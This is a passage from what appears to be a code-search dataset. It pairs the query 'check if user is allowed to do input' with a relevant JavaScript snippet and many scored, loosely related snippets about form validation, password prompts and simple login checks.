\"${EXPECTED_TANDY}\", got \"${tandy}\"`);\n return undefined;\n }\n for (let j = 0; j < 5; j++) {\n const dirEntry = decodeDirEntry(dirSector.data.subarray(j * DIR_ENTRY_LENGTH, (j + 1) * DIR_ENTRY_LENGTH));\n if (dirEntry !== undefined) {\n dirEntries.push(dirEntry);\n }\n }\n }\n }\n return new Trsdos_Trsdos(disk, gatInfo, hitInfo, dirEntries);\n}", "title": "" } ]
710f4502d827f0bb6b29facd41e92c88
check if user is allowed to do input
[ { "docid": "1d0442392078b732b14cc6a55e607bc3", "score": "0.6876196", "text": "function input_is_allowed(e)\n{\n\tvar s=e.getAttribute(\"input_ac\");\n\tif (typeof s == \"string\" && s.length > 0) {\n\t\tif (s == \"admin\" && ac!=\"admin\") {\n\t\t\treturn 0;\n\t\t}\n\t\tif (s == \"user\" && ac!=\"admin\" && ac!=\"user\") {\n\t\t\treturn 0;\n\t\t}\n\t}\n\treturn 1;\n}", "title": "" } ]
[ { "docid": "34ffcc3cae009e0910b2adb237a8c40e", "score": "0.7157824", "text": "function checkUserInput() {\n if(userChoice ==\"movie-this\" || userChoice == \"spotify-this-song\"\n || userChoice == \"concert-this\" || userChoice == \"do-what-it-says\"){\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "3b94564711541f34c6823d406c04dc13", "score": "0.6881978", "text": "checkInputs() {\n\t\treturn this.state.username && this.state.pass;\n\t}", "title": "" }, { "docid": "cd1f47295821434756da6a844f36b34e", "score": "0.6810871", "text": "function checkUserInput (inp) {\n if ((inp > 64 && inp <91) || (inp > 96 && inp < 123)) {\n return true;\n console.log(\"input is true\");\n }\n else {return false; }\n console.log(\"input is false\");\n }", "title": "" }, { "docid": "ce416ce8bf937a9f7c9c4b46bee040c6", "score": "0.6576548", "text": "function validateInput() {\r\n\treturn true;\r\n}", "title": "" }, { "docid": "fce60f64077939133855a1cdfd0c0c49", "score": "0.65752614", "text": "function access(){\n\tvar gender = confirm(\"Are you man?\"); //assigment gender variable \n\tvar name = prompt(\"What is your name?\") //assigment name variable \n\n\t/*checking conditions*/\n\tif(gender == true && name == \"Vissarion\" || gender == false && name == \"Nickol\"){\n\t\t\talert(\"Access is allowed\")\n\t}\n\telse {\n\t\talert(\"Access denided\");\n\t}\n}", "title": "" }, { "docid": "bab55fdc39747f0d9f46dff57a2a7f3b", "score": "0.6493871", "text": "_checkInputs(email, pass) {\n let error = false;\n if (!email || !pass) {\n this.error = 'You have to fill all the inputs';\n error = true;\n }\n return !error;\n }", "title": "" }, { "docid": "e55bc99e4567b8e78de02fa0598c668d", "score": "0.6493694", "text": "function checkInput(){\n\tvar object = getValue();\n\tif (object.height === \"\" || object.character === \"\"){\n\t\talert(\"Please input Stuff\");\n\t}\t\n\telse { \n\t\ttreetop(object);\n\t};\n\treturn false;\n}", "title": "" }, { "docid": "52867900797c376fa4e8780a1c339dca", "score": "0.64647365", "text": "function inputsOkay(name, login) {\n if (name == \"\" || login == \"\") {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "624c53e9fa74de117f0a5b391c129160", "score": "0.64220405", "text": "checkInputs() {\n\n }", "title": "" }, { "docid": "7358e1a2c4867a3369dbbe36db558fc9", "score": "0.6405537", "text": "function inputIsValid(){\n if(addTaskInput.value.length > 0){\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9817f81d6fbdc37d14a2ea6276ec039d", "score": "0.6350117", "text": "function userInputCheck (userInput){\n return typeof userInput === \"string\" && userInput.length === 1 // checks if it is a string and the length is = 1 .\n && (userInput >= \"a\" && userInput <= \"z\"); // the alphabet is = or greater than a and lesser and = to Z\n}", "title": "" }, { "docid": "81f3c391dcc01701d0de5c73b5e65ce8", "score": "0.6330039", "text": "function youMustChoose() {\n wantsLowerCase = confirm(\"Do you want to include lowercase characters?\");\n wantsNumeric = confirm(\"Do you want to include numbers?\");\n wantsSpecialChar = confirm(\"Do you want to include special characters?\");\n wantsUpperCase = confirm(\"Do you want to include uppercase characters\");\n if (wantsLowerCase == false && wantsUpperCase == false && wantsNumeric == false && wantsSpecialChar == false) {\n alert(\"Error! Please select at least one character type!\");\n youMustChoose();\n }\n }", "title": "" }, { "docid": "7918f128fddd284be8c7baf5ee05e297", "score": "0.63210493", "text": "function checkValidInput(input) {\n if (input === \"\" || isNaN(input)) {\n DocumentEdit.editHeadline(\"Det var inget nummer. Försök igen.\");\n return false;\n }\n else if (input > 100 || input < 1) {\n DocumentEdit.editHeadline(\"Ogiltigt nummer. Försök igen\");\n return false;\n }\n else {\n return true;\n }\n }", "title": "" }, { "docid": "0bffbc7e985cbe0e7884e416c58cfac8", "score": "0.6297454", "text": "function checkBox(){\r\n\tif (input_un.value.length == 0)\r\n\t{\r\n\t\talert(\"You forgot to choose a username dumbass\");\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}", "title": "" }, { "docid": "1e0f399e5ce35192a8e24c0022a67678", "score": "0.62958854", "text": "function checkDoorInputValid(text) {\n\tif (text === '99271') {\n\t\tmakeMessage('The door unlocks!');\n\t\t doorUnlocked = true;\n\t\n } else {\n\t\tmakeMessage('The door remains locked');\n\t}\n}", "title": "" }, { "docid": "a61bfb8b1c586df88865382035b35eb0", "score": "0.62834156", "text": "function checkRequiredVariables() {\n if (title !== '' && description !== '' && selectedCategory !== '') {\n if (wantToRequestCoordination === '2' && selectedCoordination !== '' && joinCoordinationReason !== '') {\n return true;\n }\n if (wantToRequestCoordination !== '2') {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "5453bdb3f7ea0d76a9f51e640b40fc1a", "score": "0.62770826", "text": "function userInput() {}", "title": "" }, { "docid": "f7eec00ca4446106af4629c10fc8dff3", "score": "0.6252393", "text": "function validator() {\n let userName = prompt(\"ingrese su usuario:\");\n let pass = prompt(\"ingrese su password:\");\n let userHaveAccess = false;\n let userMach = false;\n for (let i = 0; i < users.length && !userMach; i++) {\n const user = users[i];\n userMach = user.checkData(userName, pass);\n if(userMach && user.getActive()) {\n userHaveAccess = true;\n }\n }\n if (userHaveAccess) {\n alert(\"usted se a logueado correctamente!\");\n } else {\n alert(\"error en la informacion o su usuario no esta activo.\");\n }\n return userHaveAccess;\n}", "title": "" }, { "docid": "60f67f10ca025cd1becee6245768dd15", "score": "0.62124825", "text": "function checkSignInValues (aptInput, userNameInput, passwordInput) {\n\n\tif (aptInput == \"\" || !apartments.includes(aptInput)) {\n\t\talert (\"Please select an apartment complex\");\n\t\treturn false;\n\n\t} else if (userNameInput == \"\") {\n\t\talert (\"Please type in your user name\");\n\t\treturn false;\n\n\t} else if (passwordInput == \"\") {\n\t\talert (\"Please type in password\");\n\t\treturn false;\n\t\n\t} else {\n\n\t\treturn true;\n\t}\n}", "title": "" }, { "docid": "8c95ec41578c23cc940d728fd7ae2967", "score": "0.62120754", "text": "function checkLaptopInputValid(text) {\n\tif (text === 'java') {\n\t\tmakeMessage('The alphabet positions might come in handy here...');\n\t\n\t} else if (text === '101221') {\n\t\tmakeMessage('Welcome to your computer\\nThe door lock is the (laptop password - message on the whiteboard)');\n\t\n } else {\n\t\tmakeMessage('Wrong, try again.');\n\t}\n}", "title": "" }, { "docid": "6880fd7d2ac33ed1fcacb13710fe1196", "score": "0.6180031", "text": "function checkInput(city, feelings) {\n if (city === '' && feelings === '') {\n window.alert(\"Please enter a City and your feelings today\");\n return false;\n } else if (city === '') {\n window.alert(\"Please enter a City\");\n return false;\n } else if (feelings === '') {\n window.alert(\"Please enter your feelings today\");\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "ae0175c5bbec3623a08fbeab8f299895", "score": "0.61651427", "text": "function validateInput() {\n if (errors < 1 && anyInputEmpty() === 0) {\n return frodo.submitDisabled(false);\n }\n else {\n return frodo.submitDisabled(true);\n }\n }", "title": "" }, { "docid": "0ad171d20bdb6630efa0dd08b2168261", "score": "0.6149765", "text": "function userInput() {\n userDecision = [];\n\n lengthChoice = parseInt(prompt(\"Choose a number between 8 and 128.\"));\n\n if (isNaN(lengthChoice) || lengthChoice < 8 || lengthChoice > 128) {\n alert(\"Password length must be in bewteen 8 and 128 characters.\");\n return false;\n }\n if (confirm(\"Would you like to use UPPER case characters?\")) {\n userDecision = userDecision.concat(upperCharacters);\n }\n if (confirm(\"Would you like to use lower case characters?\")) {\n userDecision = userDecision.concat(lowerCharacters);\n }\n if (confirm(\"Would you like to use number characters? (i.e. 1, 2, 3, 4, 5, etc.)\")) {\n userDecision = userDecision.concat(numberCharacters);\n }\n if (confirm(\"Would you like to use special characters? (i.e. @, #, $, %, etc.)\")) {\n userDecision = userDecision.concat(specialCharacters);\n }\n\n return true;\n}", "title": "" }, { "docid": "a1a6b964d15bb542cd18e4de656d21cb", "score": "0.6130405", "text": "function checkvalidInput() {\r\n\r\n\t\t var userInput = document.getElementById(\"userRange\").value;\r\n\r\n\t\t if (isNaN(userInput) || userInput < 20 || userInput > 90) {\r\n\t\t //alert(\"Enter a number beteen 20 and 90\");\r\n\t\t document.getElementById(\"showInitialArray\").innerHTML = \"Enter a number beteen 20 and 90\"; //for iphone users\r\n\t\t //submitOK = \"false\";\r\n\r\n\t\t } else {\r\n\t\t main();\r\n\t\t }\r\n\t\t}", "title": "" }, { "docid": "b9cb6ca477684b9114eb5d4aeba2a62e", "score": "0.6101524", "text": "function checkInput(value) {\n\t// First check if user has entered text\n\tif (!value) {\n\t\treturn false;\n\t}\n\t// Then check if removing whitespace still has a value\n\tconst trimmed = value.trim();\n\tif (trimmed) {\n\t\treturn true;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "c276dede97257ab32b70ff77fec6ac09", "score": "0.60915947", "text": "function askSpecialFunk(){\n var askSpecial = prompt(\"Would you like to include special characters in the password? Please enter Yes or No.\")\n askSpecial2 = askSpecial.toLocaleLowerCase()\n if(askSpecial2 != \"yes\" && askSpecial2 != \"no\"){\n alert(\"You must select enter Yes or No\")\n askSpecialFunk()\n }\n }", "title": "" }, { "docid": "317a588d9588b90fcfede3371c0af27b", "score": "0.6090696", "text": "canBeSubmitted() {\n const errors = validate(this.state.routeName, this.state.time);\n const isDisabled = Object.keys(errors).some(x => errors[x]);\n return !isDisabled;\n }", "title": "" }, { "docid": "321617d7b4d3e5246142c183bb7a0865", "score": "0.60707444", "text": "check_input() {\n if (this.user_answer == this.answer) {\n super.set_led_state(2)\n this.deactivate_morse()\n this.display_dash_button()\n this.display_dot_button()\n }\n else {\n super.play_error()\n this.user_answer = \"\"\n }\n }", "title": "" }, { "docid": "f99a7ba4ddaea2d6bb33e513ceaaf2b4", "score": "0.60697913", "text": "function inputValidation() {\n let res = false;\n\n // username must be 3-16 characters\n let usernameRegex = /^[a-z0-9_-]{3,16}$/;\n // Password, 6-20 char and must have a number and a special character\n //let passwordRegex = /^(?=.*[0-9])(?=.*[!@#$%^&*])[a-zA-Z0-9!@#$%^&*]{6,20}$/;\n let passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{6,20}$/;\n\n if (usernameRegex.test(userName) && passwordRegex.test(passWord)) {\n res = true;\n }\n\n return res;\n }", "title": "" }, { "docid": "b75751a6620031aedbb7f3c069d5aebd", "score": "0.6059777", "text": "function verify_inputs(){\n if(document.getElementById(\"Split_By\").value == ''){\n return false;\n }\n if(document.getElementById(\"Strength\").value == ''){\n return false;\n }\n if(document.getElementById(\"Venue\").value == ''){\n return false;\n }\n if(document.getElementById(\"season_type\").value == ''){\n return false;\n }\n if(document.getElementById(\"adjustmentButton\").value == ''){\n return false;\n }\n\n return true\n }", "title": "" }, { "docid": "dfe048b2c80e2d7528d121daf00c2f26", "score": "0.60512686", "text": "function checkInputs() {\n vals = new Array(inputs['title'].value, inputs['author'].value, inputs['pages'].value);\n if (vals[2] != '' && isNaN(vals[2])) {return false};\n return !vals.includes('');\n}", "title": "" }, { "docid": "ff8085a6e7bef49bea070cb82b0bb350", "score": "0.6050159", "text": "function checkCorrectInput(usrInput) {\n if(usrInput.length > 1 || !(/[a-z]/).test(usrInput)) {\n return \"Please Input 1 Letter!\";\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "33b2d45bcd4258d6bac6522adb30d822", "score": "0.60492885", "text": "function checkValidUser() {\n\t\tif (userData.includes(toUpperFirst(userNameInput))) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\tcreateErrorMessage.invalid();\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "ebcef6209469f63dfebb5e15281ad7cc", "score": "0.60431486", "text": "function canAcceptCommand()\n{\n\treturn true;\n}", "title": "" }, { "docid": "dfacf2a4002c4ff56992c725001ae4aa", "score": "0.6043112", "text": "function checkinput(){\n var returnlic;\n var returnprod;\n var returnvalue;\n returnlic = checkinputlicence();\n returnprod = checkinputprod();\n returnvalue = (returnlic && returnprod)\n return returnvalue\n}", "title": "" }, { "docid": "01b24f48382e9b628f6ced882bd5fb10", "score": "0.6042589", "text": "function valider(){\n if(pwd.value != \"\" & user.value != \"\"){\n return true;\n }else{\n alert('Veuillez completez tous les champs SVP');\n return false\n }\n}", "title": "" }, { "docid": "978699200a16fcbc1b1d553d854ebaa0", "score": "0.6041594", "text": "function checkInputs(company) {\n if (company == '') {\n alert('Company can not be empty, please review required fields.');\n return false;\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "e5f26171c3e4286b067e1dd05d2f34e3", "score": "0.6040842", "text": "async inputValidator(promptContext) {\n console.log(\"inputValidator\");\n const userInputObject = promptContext.recognized.value.value;\n if (userInputObject == null) {\n return false;\n } else {\n if (\n userInputObject.myName == \"\" ||\n userInputObject.tipoDoc == \"\" ||\n userInputObject.myDocument == \"\" ||\n userInputObject.myNationality == \"\" ||\n userInputObject.myEmail == \"\"\n ) {\n await promptContext.context.sendActivity(\n `Hola ${userInputObject.myName} tus datos son incompletos, por favor llenar completamente el formulario`\n );\n console.log(\"Datos Incompletos\");\n console.log(userInputObject);\n return false;\n } else {\n // await promptContext.context.sendActivity(`Hola ${userInputObject.myName}`);\n // console.log(userInputObject);\n return true;\n }\n // You can add some validation logic for email address and phone number\n // userInputObject.myEmail, userInputObject.myTel\n }\n }", "title": "" }, { "docid": "87e81aa80405bfb08954f876ffc00417", "score": "0.6031597", "text": "function checkUser() {\n\n var nameUser = document.getElementById(\"nameUser\").value;\n var dateUser = document.getElementById(\"dateUser\").value;\n var addUser = document.getElementById(\"addUser\").value;\n var idUser = document.getElementById(\"idUser\").value;\n var passUser = document.getElementById(\"passUser\").value;\n var passUserAgain = document.getElementById(\"passUserAgain\").value;\n var phoneUser = document.getElementById(\"phoneUser\").value;\n var emailUser = document.getElementById(\"emailUser\").value;\n\n\n\n if(!nameUser || !dateUser || !addUser || !idUser || !passUser || !passUserAgain || !phoneUser || !emailUser) {\n alert('Bạn chưa hoàn thành thông tin');\n } \n\n}", "title": "" }, { "docid": "9452152b19bf781b736166bed530ac33", "score": "0.602818", "text": "validateInput(inputName, inputVal) {\n switch(inputName) {\n case 'password':\n return validator.isAscii(inputVal);\n case 'email':\n return validator.isEmail(inputVal);\n case 'firstname' :\n return !validator.isEmpty(inputVal);\n case 'lastname' :\n return !validator.isEmpty(inputVal);\n case 'city' :\n return !validator.isEmpty(inputVal);\n case 'country' :\n return !validator.isEmpty(inputVal);\n case 'height' :\n return !validator.isEmpty(inputVal);\n case 'weight' :\n return !validator.isEmpty(inputVal);\n default:\n return false;\n }\n }", "title": "" }, { "docid": "d31f3c49ff76abe0f4f4a7cccb4589e7", "score": "0.60200274", "text": "function accessLevelCheck ()\r\n {\r\n var accessLevel = document.getElementById ('hdUserPriv').value;\r\n if (!accessLevel || isNaN (accessLevel)) return true;\r\n if (parseInt (accessLevel, 10) != 0)\r\n {\r\n lblWarning.innerHTML = \"Administrator privilages required\"\r\n return false;\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "25a6aeb6ab6aa0cb3ee9998076cbb965", "score": "0.60173863", "text": "inputsAreEntered() {\n if (this.state.imageAsString === '' || this.state.fileText === '') {\n alert(\"You are missing a picture or the text!\");\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "47156862b878ad3c6ce6653048a7ec25", "score": "0.60130566", "text": "function check_input(toggle, usn, usp, fnm, lsn, eml) {\n var invalid = false;\n //These if-statments can probably be shortened, but this typing should take a while and what else am I going to do on a Friday night?\n\n if (!toggle) {\n if (usn == null || usn === '0' || usn == [] || usn == \"\" || usn === null) {\n invalid = true;\n res.render('invalid', {\n message: \"Username cannot be empty\",\n return: \"/register\"\n });\n } else if (usp == null || usp === '0' || usp == [] || usp == \"\" || usp === null) {\n res.status(401);\n res.render('invalid', {\n message: \"Password cannot be empty\",\n return: \"/register\"\n });\n } else if (fnm == null || fnm === '0' || fnm == [] || fnm == \"\" || fnm === null) {\n res.status(401);\n res.render('invalid', {\n message: \"Firstname cannot be empty\",\n return: \"/register\"\n });\n } else if (lsn == null || lsn === '0' || lsn == [] || lsn == \"\" || lsn === null) {\n res.status(401);\n res.render('invalid', {\n message: \"Lastname cannot be empty\",\n return: \"/register\"\n });\n } else if (eml == null || eml === '0' || eml == [] || eml == \"\" || eml === null) {\n res.status(401);\n res.render('invalid', {\n message: \"Email cannot be empty\",\n return: \"/register\"\n });\n } else if (usn == usp) {\n res.status(401);\n res.render('invalid', {\n message: \"Password and Username cannot be the same\",\n return: \"/register\"\n });\n } else if (usp == fnm || usp == lsn || usp == fnm + lsn || usp == lsn + fnm) {\n res.status(401);\n res.render('invalid', {\n message: \"Password cannot be your name\",\n return: \"/register\"\n });\n } else {\n check_username_existence();\n }\n } else {\n var message = \"\";\n if (usn == null || usn === '0' || usn == [] || usn == \"\" || usn === null) {\n invalid = true;\n message += \"Username cannot be blank\\\\n\";\n }\n if (usp == null || usp === '0' || usp == [] || usp == \"\" || usp === null) {\n invalid = true;\n message += \"Password cannot be blank\\\\n\";\n }\n if (fnm == null || fnm === '0' || fnm == [] || fnm == \"\" || fnm === null) {\n invalid = true;\n message += \"First name cannot be blank\\\\n\";\n }\n if (lsn == null || lsn === '0' || lsn == [] || lsn == \"\" || lsn === null) {\n invalid = true;\n message += \"Last name cannot be blank\\\\n\";\n }\n if (eml == null || eml === '0' || eml == [] || eml == \"\" || eml === null) {\n invalid = true;\n message += \"Email cannot be blank\\\\n\";\n }\n if (usn == usp) {\n invalid = true;\n message += \"Password cannot be username\\\\n\";\n }\n if (usp == fnm || usp == lsn || usp == fnm + lsn || usp == lsn + fnm) {\n invalid = true;\n message += \"Password cannot be name\\\\n\";\n }\n if (!invalid) {\n check_username_existence();\n } else {\n res.render('register', {\n swal: 'swal(\\'Invalid Input: \\',\"' + message + '\",\\'error\\');',\n usern: usn,\n pass: usp,\n email: eml,\n firstn: fnm,\n lastn: lsn\n });\n }\n }\n\n }", "title": "" }, { "docid": "54cf5c0e673ee5b37cb0adb77cd932af", "score": "0.6000247", "text": "function check(input) {\n if(input.length === 0){\n alert(\"Please insert task!\");\n return false;\n }\n if (input.length > 3){\n return true;\n }\n if(input.length <= 3){\n alert(\"Task should be longer than 3 words!\")\n return false;\n }\n}", "title": "" }, { "docid": "5f484bef96c4de2131eff6074fd4fea6", "score": "0.59975713", "text": "function askNumberFunk(){\n var askNumbers = prompt(\"Would you like to include numbers in the password? Please enter Yes or No.\")\n askNumbers2 = askNumbers.toLocaleLowerCase()\n if(askNumbers2 != \"yes\" && askNumbers2 != \"no\"){\n alert(\"You must select enter Yes or No\")\n askNumberFunk()\n }\n }", "title": "" }, { "docid": "d2ca377b03f29d6257df6ddf5d065985", "score": "0.59760815", "text": "function prompts() {\n\n lowerCaseChoice = confirm(\"Do you want the password to contain lower case letters?\");\n upperCaseChoice = confirm(\"Do you want the password to contain upper case letters?\");\n numbersChoice = confirm(\"Do you want the password to contain numbers?\");\n specialCharChoice = confirm(\"Do you want the password to contain special characters?\");\n\n\n if (!lowerCaseChoice && !upperCaseChoice && !numbersChoice && !specialCharChoice) {\n alert(\"You must select at least one character type to create your password\");\n prompts();\n }\n else {\n generatePass();\n }\n}", "title": "" }, { "docid": "427710267f20ae938199d5db6a3e4793", "score": "0.5967084", "text": "checkInput(input) {\n if (input.value.length > 0) {\n switch (input.name) {\n case \"name\":\n if (input.value.length < 2) {\n return \"Campo de nome deve conter no mínimo 2 caracteres!\";\n }\n break;\n case \"cpf\":\n const regexpCPF = /(?:\\d{3}[-.]?){3}\\d{2}/g;\n if (!regexpCPF.test(input.value)) {\n return \"Digite um cpf válido!\";\n }\n break;\n case \"email\":\n const regexpEMAIL = /[\\w.-]+@[\\w-]+\\.[\\w-.]+/gi;\n if (!regexpEMAIL.test(input.value.toLowerCase())) {\n return \"Digite um e-mail válido!\";\n }\n break;\n case \"password\":\n if (input.value.length < 8) {\n return \"Senha deve conter no mínimo 8 caracteres!\";\n }\n }\n } else {\n return \"Campo não pode ser vazio!\";\n }\n return true;\n }", "title": "" }, { "docid": "9ffa3018d0f8fd7c0f502d3a1443e965", "score": "0.59639454", "text": "function charAlerts() {\n userLowercase = lowercaseConfirm();\n userUppercase = uppercaseConfirm();\n userNumeric = numericConfirm();\n userSpecial = specialConfirm();\n\n if (!userLowercase && !userUppercase && !userNumeric && !userSpecial) {\n alert(\"At least one character type must be selected\");\n charAlerts();\n }\n }", "title": "" }, { "docid": "ba37bd1212ac69a937ad8501dec3e5df", "score": "0.59618044", "text": "function inputValidation() {\n const INPUT = USERINPUT.value.replace(/\\s+/, '');\n if (INPUT.length != 0) {\n list(false, USERINPUT.value, key);\n key++;\n } else {\n alert('Error! Entering an empty line');\n console.error('Entering an empty line');\n }\n USERINPUT.value = '';\n }", "title": "" }, { "docid": "9cbae5ad54a49b61b3de5da757a9f8ad", "score": "0.59600955", "text": "function checkChoice(userGuess) {\n\t\t\tif (userGuess == \"\" || (isNaN(userGuess))) {\n\t\t\tsetFeedback(\"Please input a number from 1-100!\");\n\t\t\tclearText();\n\t\t\treturn true;\n\n\t\t} else if (userGuess > 100 || userGuess < 1) {\n\t\t\tsetFeedback(\"Number must be between 1-100!\");\n\t\t\tclearText();\n\t\t\treturn true;\n\t\t\t\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "c26608c3ab22e265825d28fc2f51d588", "score": "0.59511864", "text": "canBeSubmitted() {\n const { email, password } = this.state;\n return (\n email.length > 0 &&\n password.length > 0\n );\n }", "title": "" }, { "docid": "fb52c86a4e974fc16b821da24a8bfadb", "score": "0.59509057", "text": "function arg_is_responsable_inscripto(){\n $(\".ri\").show();\n $(\".ri>input\").prop(\"required\", true);\n set_optionals();\n}", "title": "" }, { "docid": "90749c056b9a5a88790dd8929779f213", "score": "0.59506744", "text": "function is_profession_valid(profession){\n\n // first checking for null input\n if(profession == \"\"){\n\n alert(\"Please provide your profession information!\");\n return false;\n }else{\n\n return true;\n }\n}", "title": "" }, { "docid": "a0f7a5d1997c98b2d7e3dc28887ea73e", "score": "0.5942531", "text": "function allow() { }", "title": "" }, { "docid": "4d24567c4ff5d7cdb87287c8d28fe1f4", "score": "0.5938052", "text": "function submissionAllowed() {\n var allowed = AllowSubmission;\n AllowSubmission = true;\n if (!allowed) {\n alert(\"Submission not possible due to errors in input fields!\");\n }\n return allowed;\n}", "title": "" }, { "docid": "46cd80672ed270351205c5194e0cdb57", "score": "0.5936153", "text": "function checkInputs() {\n return password.value == \"\" || password2.value == \"\" || email.value == \"\";\n}", "title": "" }, { "docid": "641d25e0fd4407c377ed948c46d8d9d3", "score": "0.5920428", "text": "inputsValidated() {\n if (this.state.custom_name === \"\") {\n // template custom name is empty\n\n alert(\"New template must be given custom name.\");\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "281bd95a8a9c3cbcf0fc4437f9e7bcf8", "score": "0.59201545", "text": "function is_term_valid(term){\n\n // first checking for null input\n if(term == \"\"){\n\n alert(\"Please tick the terms and services policies checkbox!\");\n return false;\n }else{\n\n return true;\n }\n}", "title": "" }, { "docid": "1504d0d1055322958437711d171559d6", "score": "0.5919152", "text": "function checkLogin(){\n var username = usernameTxt.value;\n //i think this is making it so unless the user is Grant Chirpus, the user can't log in at all. not understanding username.Txt.value\n (email === \"[email protected]\"),\n (password === \"ILoveCoffee\"),\n (username === \"Grant Chirpus\")\n }", "title": "" }, { "docid": "0b3376ccb162ac27251a611fa5d47c98", "score": "0.5918819", "text": "function isLetter(userInput) { \n if (!isNaN(userInput)) {\n alert(\"Letters only! No numbers please, enter a phrase.\");\n }\n }", "title": "" }, { "docid": "f838402deebde10e0f3a232ad72fd42f", "score": "0.5916026", "text": "function submitActivation() {\n if ((usernameFlag === false) || (emailFlag === false) || (charFlag === false) || (passFlag === false) || (passAgainFlag === false)) {\n alert(\"خطا! یکی از فیلدهای ورود اطلاعات به درستی وارد نشده است\");\n return false;\n }\n}", "title": "" }, { "docid": "d25512d7d7e8cb21f3c5eb4439dc3809", "score": "0.5908179", "text": "function checkItinerary() {\n if (itinerary.visits.length == 0) {\n window.alert(\"please save at least one visit for this trip!\");\n return false;\n }\n if (!itinerary.title) {\n window.alert(\"please enter itinerary title!\");\n return false;\n }\n //at least one visit and title inputted\n return true;\n}", "title": "" }, { "docid": "1ffb7930cc5d0780154d78518b97518c", "score": "0.5901744", "text": "canBeSubmitted() {\n const errors = validate(this.state.nombre, this.state.selectedTipo, this.state.dimensionAlto, this.state.dimensionAncho, this.state.peso, this.state.selectedArea, this.state.selectedColeccion);\n const isDisabled = Object.keys(errors).some(x => errors[x]);\n return !isDisabled;\n }", "title": "" }, { "docid": "7fa03685de878ac86c03345a5e6735dc", "score": "0.5889343", "text": "function canAcceptCommand()\n{\n return true;\n}", "title": "" }, { "docid": "85bc6dafaeca73be5cad81f7ff509bd6", "score": "0.588497", "text": "function okInput(num) {\n\tif (!isNaN(num)) {\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "d869ddcfd0a0e00d52c8a855f385f5b5", "score": "0.588442", "text": "function checkValidOp(op){\n\tif (!validOps.includes(op)) {\n\t\tconsole.log(\"Invalid operator input, please enter +-*/ or q.\");\n\t\taskForOp();\n\t} else if (op == \"q\") {\n\t\tconsole.log(\"Calculator go night night now\");\n\t\treadline.close();\n\t} else {\n\t\tenterVal();\n\t}\n}", "title": "" }, { "docid": "e7d9b82a21b1f61c726c013885ad40b9", "score": "0.58813673", "text": "function askQuestions() {\r\n\r\n\r\n\tvar firstName= prompt('What is your first name?');\r\n\tvar lastName= prompt('What is your last name?');\r\n\tvar fullName= firstName+ ' '+ lastName; \r\n\tconsole.log(fullName);\r\n\r\n\tvar age= prompt('How old are you?')\r\n\tage = parseInt(age); \r\n\tif(age>=18) {\r\n\t\tconsole.log('User is +18');\r\n\t} else if(age>=13) {\r\n\t\tconsole.log('User is a teenager');\r\n\t} else {\r\n\t\tconsole.log('User is underage');\r\n\t\t}\r\n\r\n\t//if it's Seb Galperti who is logging in, his access is granted. if not, it's failed//\r\n\tif(firstName.toLowerCase()==\"seb\" && lastName.toLowerCase()==\"galperti\") {\r\n\t\tconsole.log ('Acces granted');\r\n\t\talert('Access granted');\r\n\t} else {\r\n\t\tconsole.log ('Login failed')\r\n\t\t}\r\n\r\n}", "title": "" }, { "docid": "d33fe392e4d8ceef2ca83299549caf0d", "score": "0.5879875", "text": "static checkInput(user, pass, passConfirm, email) {\n if (SignupScreen.checkPasswordLength(pass)) {\n alert(\"Password must have at least 6 caracters\");\n }\n if (SignupScreen.checkPasswordConfirm(pass, passConfirm)) {\n alert(\"Password's confirmation doesn't match\");\n }\n\n return user && pass && email;\n }", "title": "" }, { "docid": "85d5501ba95a6755660a56b91cda8be7", "score": "0.5867909", "text": "function checkRequirements() {\n //if the length of the password is less than 16 and more than 100 characters\n if (firstPw.length < 16) {\n firstInputIssueTracker.add(\"less than 16 characters\");\n } else if (firstPw.length > 100) {\n firstInputIssueTracker.add(\"greater than 100 characters\");\n }\n\n //if there are no symbols used in the first password\n if (!firstPw.match(/[\\!\\@\\#\\$\\%\\^\\&\\*]/g)) {\n firstInputIssueTracker.add(\"missing a symbol (!, @, #, $, %, ^, &, *)\");\n }\n \n //if the first password does not match the criteria of having at least 1 number\n if (!firstPw.match(/\\d/g)) {\n firstInputIssueTracker.add(\"missing a number\");\n }\n \n //if the first password does not match the criteria of having at least 1 lowercase letter\n if (!firstPw.match(/[a-z]/g)) {\n firstInputIssueTracker.add(\"missing a lowercase letter\");\n }\n\n //if the first password does not match the cirteria of having at least 1 uppercase letter\n if (!firstPw.match(/[A-Z]/g)) {\n firstInputIssueTracker.add(\"missing an uppercase letter\");\n }\n\n //variable illegal char group match whether the first password matches anything outside the scope that is defined\n var illegalCharGroup = firstPw.match(/[^A-z0-9\\!\\@\\#\\$\\%\\^\\&\\*]/g)\n //if it is true(if there are illegal characters), print out an error message for each illegal character as an issue\n if (illegalCharGroup) {\n illegalCharGroup.forEach (function (illegalChar){\n firstInputIssueTracker.add(\"illegal: \" + illegalChar);\n })\n }\n }", "title": "" }, { "docid": "0ad15f398199828b31ce46292cc6335d", "score": "0.5866482", "text": "inputsValidated() {\n if (this.state.email === \"\") {\n // email field is empty\n alert(\"Email field must be filled out\");\n\n return false;\n }\n\n if (this.state.password === \"\") {\n // last name field is empty\n alert(\"Password field must be filled out\");\n\n return false;\n }\n\n if (this.state.usid === \"\") {\n console.log(\"Session is missing\");\n }\n return true;\n }", "title": "" }, { "docid": "061ba0f2a5444979b5ea506301ea3731", "score": "0.5844286", "text": "validationInputs()\n {\n this.CheckDataValdtion(); \n if (this.name.value=='' || this.password.value=='' || this.emial.value=='' || this.foundName)\n {\n this.alert();\n return false;\n\n }\n \n\n return true;\n \n }", "title": "" }, { "docid": 